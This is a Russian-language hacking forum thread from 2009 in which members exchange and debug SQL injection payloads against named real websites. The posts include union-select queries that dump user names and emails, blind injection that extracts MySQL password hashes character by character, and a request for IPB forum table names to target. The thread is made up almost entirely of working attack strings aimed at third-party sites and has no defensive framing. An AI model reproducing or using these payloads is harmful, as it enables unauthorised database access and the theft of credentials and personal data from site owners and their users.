
30.01.2009, 12:16
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
Код:
http://www.brockport.edu/athletics/baseball/index.php?id=432'+and+substring(@@version,1,1)=4/*
4-ая ветка
|
|
|

30.01.2009, 17:51
|
|
Познающий
Регистрация: 06.11.2008
Сообщений: 93
Провел на форуме: 349682
Репутация:
30
|
|
Ребята, подскажите:
Что-то не пойму:
Вывожу данные:
=-6285+union+select+1,2,3,4,5,6,7,8,9,10,group_conca t(user,0x3a,email),12+from+users--
Выводит какое-то количество данных, пробую лимитом "user":
=-6285+union+select+1,2,3,4,5,6,7,8,9,10,user,12+fro m+users+limit+1,1--
Данные не выводятся:
Пробую просто concat - тоже самое, а также _ws - тоже ничего не хочет выводить...
В чем косяк?
|
|
|

30.01.2009, 17:56
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
Octave_Parango
Чем помочь? Погадать? На картах или на кофейной гуще предпочитаете?
Запрос верен, если запись не одна, должно выводить, остальное домыслы и без линка не уместны
|
|
|

30.01.2009, 18:02
|
|
Познающий
Регистрация: 06.11.2008
Сообщений: 93
Провел на форуме: 349682
Репутация:
30
|
|
jokester,
Ок. спасибо!
|
|
|

30.01.2009, 18:49
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме: 4072944
Репутация:
1550
|
|
вопрос таков, есть сайтег скуля есть но слепая верся БД 4, есть форум ипб кто нибудь может дать название табелок и колонок в бд для форума?
|
|
|

30.01.2009, 18:51
|
|
Постоянный
Регистрация: 05.12.2006
Сообщений: 477
Провел на форуме: 11338585
Репутация:
441
|
|
Сообщение от Gorev
вопрос таков, есть сайтег скуля есть но слепая верся БД 4, есть форум ипб кто нибудь может дать название табелок и колонок в бд для форума?
http://up.cih.ms/ettee/sql/
помогает)
|
|
|

30.01.2009, 18:53
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме: 4072944
Репутация:
1550
|
|
spasibo
|
|
|

30.01.2009, 19:50
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме: 1571865
Репутация:
571
|
|
Это не вывод...
Код:
http://photo.gala.net/index.php?action=view&id=120141026+union+select+111111111111111--
Похоже, там 11 колонок, но вывода нету.
Насчёт подзапросов...
Всего пару раз встречался с Sybase ASE, поэтому не знаю, работают они там или нет..
Вроде нет.
Хотя.. сейчас может придёт дядя jokester и отругает меня за то, что я снова тороплюсь ^^
Последний раз редактировалось R1dex; 30.01.2009 в 19:53..
|
|
|

30.01.2009, 20:03
|
|
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
Провел на форуме: 397889
Репутация:
60
|
|
Здравствуйте)
Помогите найти ошибку,пожалуйста!
PHP код:
http://www.tehbasa.ru/index.php?idt=25
+and+ascii(lower(substring(select+password
+from+mysql.user+where
+user=char(116,101,104,98,97,115,97,95,97,
115,105,100,64,55,57,46,49,55,52,46,55,51,46,55,50)+limit+1),1,1)))%3C=122
|
|
|

30.01.2009, 20:08
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме: 4072944
Репутация:
1550
|
|
http://www.tehbasa.ru/index.php?idt=25+and+ascii(lower(substring(select+ password+from+mysql.user+where+user=char(116,101,1 04,98,97,115,97,95,97,115,105,100,64,55,57,46,49,5 5,52,46,55,51,46,55,50)+limit+1,1),1,1)))%3C=122
либо
http://www.tehbasa.ru/index.php?idt=25+and+ascii(lower(substring(select+ password+from+mysql.user+where+user=char(116,101,1 04,98,97,115,97,95,97,115,105,100,64,55,57,46,49,5 5,52,46,55,51,46,55,50)+limit+1,1)))%3C=122
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|